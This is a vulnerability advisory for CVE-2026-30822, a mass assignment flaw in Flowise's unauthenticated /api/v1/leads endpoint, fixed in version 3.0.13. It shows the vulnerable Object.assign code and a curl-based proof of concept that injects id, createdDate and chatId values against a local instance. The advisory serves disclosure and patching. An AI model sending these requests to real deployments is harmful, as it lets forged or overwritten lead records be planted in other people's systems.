flowise
Affected
- introduced
0, fixed3.0.13(semver)
Fixed versions
3.0.13
Fix
- Fixed version
3.0.13npm install [email protected]
Advisory
Also known as: CVE-2026-30822
Flowise Allows Mass Assignment in /api/v1/leads Endpoint
Summary
A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.
The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|-------|-------|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | POST /api/v1/leads |
---
Details
Root Cause
The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:
id - The primary key (should be auto-generated)createdDate - The creation timestamp (should be auto-generated)chatId - The chat identifierLead Entity Definition
The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.
Why the Endpoint is Publicly Accessible
The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
---
Proof of Concept
<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />
Prerequisites
Step 1: Start Flowise
Create a docker-compose.yml:
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
Start the container:
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000"
}'
Expected Response (normal behavior):
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
Note: The id and createdDate are auto-generated by the server.
Step 3: Exploit - Inject Custom ID
Now inject a custom id:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
Actual Response (vulnerability confirmed):
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
⚠️ The attacker-controlled `id` was accepted!
Step 4: Exploit - Inject Custom Timestamp
Inject a fake createdDate:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "[email protected]",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
Actual Response (vulnerability confirmed):
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "[email protected]",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
Actual Response (vulnerability confirmed):
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!
Verification
The exploit succeeds because:
id field contains attacker-controlled UUIDcreatedDate field contains attacker-controlled timestampchatId field contains attacker-controlled stringHigh Basis: The source's own band: HIGH
0, fixed 3.0.13 (semver)3.0.13
3.0.13npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0